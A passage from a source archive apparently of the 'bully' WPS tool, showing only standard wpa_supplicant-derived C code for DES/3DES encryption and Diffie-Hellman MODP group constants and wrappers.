0x20000UL, 0x10000UL, 0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL, 0x800UL, 0x400UL, 0x200UL, 0x100UL, 0x80UL, 0x40UL, 0x20UL, 0x10UL, 0x8UL, 0x4UL, 0x2UL, 0x1L }; /* Use the key schedule specific in the standard (ANSI X3.92-1981) */ static const u8 pc1[56] = { 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 }; static const u8 totrot[16] = { 1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28 }; static const u8 pc2[48] = { 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 }; static const u32 SP1[64] = { 0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL, 0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL, 0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL, 0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL, 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL, 0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL, 0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL, 0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL, 0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL, 0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL, 0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL, 0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL, 0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL, 0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL, 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL, 0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL }; static const u32 SP2[64] = { 0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL, 0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL, 0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL, 0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL, 0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL, 0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL, 0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL, 0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL, 0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL, 0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL, 0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL, 0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL, 0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL, 0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL }; static const u32 SP3[64] = { 0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL, 0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL, 0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL, 0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL, 0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL, 0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL, 0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL, 0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL, 0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL, 0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL, 0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL, 0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL, 0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL, 0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL, 0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL, 0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL }; static const u32 SP4[64] = { 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL, 0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL, 0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL, 0x00800081UL, 0x00000001UL, 0x00002080UL, 0x00800080UL, 0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL, 0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL, 0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL, 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL, 0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL, 0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL }; static const u32 SP5[64] = { 0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL, 0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL, 0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL, 0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL, 0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL, 0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL, 0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL, 0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL, 0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL, 0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL, 0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL, 0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL, 0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL, 0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL, 0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL, 0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL }; static const u32 SP6[64] = { 0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL, 0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL, 0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL, 0x00400010UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, 0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL, 0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL, 0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL, 0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL, 0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL, 0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL, 0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, 0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL, 0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL, 0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL, 0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL, 0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL }; static const u32 SP7[64] = { 0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL, 0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL, 0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL, 0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL, 0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL, 0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL, 0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL, 0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL, 0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL, 0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL, 0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL, 0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL, 0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL, 0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL, 0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL, 0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL }; static const u32 SP8[64] = { 0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL, 0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL, 0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL, 0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL, 0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL, 0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL, 0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL, 0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL, 0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL, 0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL, 0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL, 0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL, 0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL, 0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL }; static void cookey(const u32 *raw1, u32 *keyout) { u32 *cook; const u32 *raw0; u32 dough[32]; int i; cook = dough; for (i = 0; i < 16; i++, raw1++) { raw0 = raw1++; *cook = (*raw0 & 0x00fc0000L) << 6; *cook |= (*raw0 & 0x00000fc0L) << 10; *cook |= (*raw1 & 0x00fc0000L) >> 10; *cook++ |= (*raw1 & 0x00000fc0L) >> 6; *cook = (*raw0 & 0x0003f000L) << 12; *cook |= (*raw0 & 0x0000003fL) << 16; *cook |= (*raw1 & 0x0003f000L) >> 4; *cook++ |= (*raw1 & 0x0000003fL); } os_memcpy(keyout, dough, sizeof(dough)); } static void deskey(const u8 *key, int decrypt, u32 *keyout) { u32 i, j, l, m, n, kn[32]; u8 pc1m[56], pcr[56]; for (j = 0; j < 56; j++) { l = (u32) pc1[j]; m = l & 7; pc1m[j] = (u8) ((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0); } for (i = 0; i < 16; i++) { if (decrypt) m = (15 - i) << 1; else m = i << 1; n = m + 1; kn[m] = kn[n] = 0L; for (j = 0; j < 28; j++) { l = j + (u32) totrot[i]; if (l < 28) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (/* j = 28 */; j < 56; j++) { l = j + (u32) totrot[i]; if (l < 56) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (j = 0; j < 24; j++) { if ((int) pcr[(int) pc2[j]] != 0) kn[m] |= bigbyte[j]; if ((int) pcr[(int) pc2[j + 24]] != 0) kn[n] |= bigbyte[j]; } } cookey(kn, keyout); } static void desfunc(u32 *block, const u32 *keys) { u32 work, right, leftt; int cur_round; leftt = block[0]; right = block[1]; work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; right ^= work; leftt ^= (work << 4); work = ((leftt >> 16) ^ right) & 0x0000ffffL; right ^= work; leftt ^= (work << 16); work = ((right >> 2) ^ leftt) & 0x33333333L; leftt ^= work; right ^= (work << 2); work = ((right >> 8) ^ leftt) & 0x00ff00ffL; leftt ^= work; right ^= (work << 8); right = ROLc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = ROLc(leftt, 1); for (cur_round = 0; cur_round < 8; cur_round++) { work = RORc(right, 4) ^ *keys++; leftt ^= SP7[work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = right ^ *keys++; leftt ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; work = RORc(leftt, 4) ^ *keys++; right ^= SP7[ work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = leftt ^ *keys++; right ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; } right = RORc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = RORc(leftt, 1); work = ((leftt >> 8) ^ right) & 0x00ff00ffL; right ^= work; leftt ^= (work << 8); /* -- */ work = ((leftt >> 2) ^ right) & 0x33333333L; right ^= work; leftt ^= (work << 2); work = ((right >> 16) ^ leftt) & 0x0000ffffL; leftt ^= work; right ^= (work << 16); work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; leftt ^= work; right ^= (work << 4); block[0] = right; block[1] = leftt; } /* wpa_supplicant/hostapd specific wrapper */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; u32 ek[32], work[2]; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; deskey(pkey, 0, ek); work[0] = WPA_GET_BE32(clear); work[1] = WPA_GET_BE32(clear + 4); desfunc(work, ek); WPA_PUT_BE32(cypher, work[0]); WPA_PUT_BE32(cypher + 4, work[1]); os_memset(pkey, 0, sizeof(pkey)); os_memset(ek, 0, sizeof(ek)); } void des_key_setup(const u8 *key, u32 *ek, u32 *dk) { deskey(key, 0, ek); deskey(key, 1, dk); } void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, ek); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, dk); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } void des3_key_setup(const u8 *key, struct des3_key_s *dkey) { deskey(key, 0, dkey->ek[0]); deskey(key + 8, 1, dkey->ek[1]); deskey(key + 16, 0, dkey->ek[2]); deskey(key, 1, dkey->dk[2]); deskey(key + 8, 0, dkey->dk[1]); deskey(key + 16, 1, dkey->dk[0]); } void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, key->ek[0]); desfunc(work, key->ek[1]); desfunc(work, key->ek[2]); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, key->dk[0]); desfunc(work, key->dk[1]); desfunc(work, key->dk[2]); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } bully-1.4-00/src/crypto/des_i.h000077500000000000000000000016401361530463600163000ustar00rootroot00000000000000/* * DES and 3DES-EDE ciphers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DES_I_H #define DES_I_H struct des3_key_s { u32 ek[3][32]; u32 dk[3][32]; }; void des_key_setup(const u8 *key, u32 *ek, u32 *dk); void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt); void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain); void des3_key_setup(const u8 *key, struct des3_key_s *dkey); void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt); void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain); #endif /* DES_I_H */ bully-1.4-00/src/crypto/dh_group5.c000077500000000000000000000015751361530463600171130ustar00rootroot00000000000000/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "dh_groups.h" #include "dh_group5.h" void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { *publ = dh_init(dh_groups_get(5), priv); if (*publ == 0) return NULL; return (void *) 1; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { return dh_derive_shared(peer_public, own_private, dh_groups_get(5)); } void dh5_free(void *ctx) { } bully-1.4-00/src/crypto/dh_group5.h000077500000000000000000000012641361530463600171130ustar00rootroot00000000000000/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUP5_H #define DH_GROUP5_H void * dh5_init(struct wpabuf **priv, struct wpabuf **publ); struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private); void dh5_free(void *ctx); #endif /* DH_GROUP5_H */ bully-1.4-00/src/crypto/dh_groups.c000077500000000000000000000624771361530463600172210ustar00rootroot00000000000000/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "dh_groups.h" #ifdef ALL_DH_GROUPS /* RFC 4306, B.1. Group 1 - 768 Bit MODP * Generator: 2 * Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 } */ static const u8 dh_group1_generator[1] = { 0x02 }; static const u8 dh_group1_prime[96] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 4306, B.2. Group 2 - 1024 Bit MODP * Generator: 2 * Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 } */ static const u8 dh_group2_generator[1] = { 0x02 }; static const u8 dh_group2_prime[128] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ /* RFC 3526, 2. Group 5 - 1536 Bit MODP * Generator: 2 * Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 } */ static const u8 dh_group5_generator[1] = { 0x02 }; static const u8 dh_group5_prime[192] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #ifdef ALL_DH_GROUPS /* RFC 3526, 3. Group 14 - 2048 Bit MODP * Generator: 2 * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } */ static const u8 dh_group14_generator[1] = { 0x02 }; static const u8 dh_group14_prime[256] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 4. Group 15 - 3072 Bit MODP * Generator: 2 * Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 } */ static const u8 dh_group15_generator[1] = { 0x02 }; static const u8 dh_group15_prime[384] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 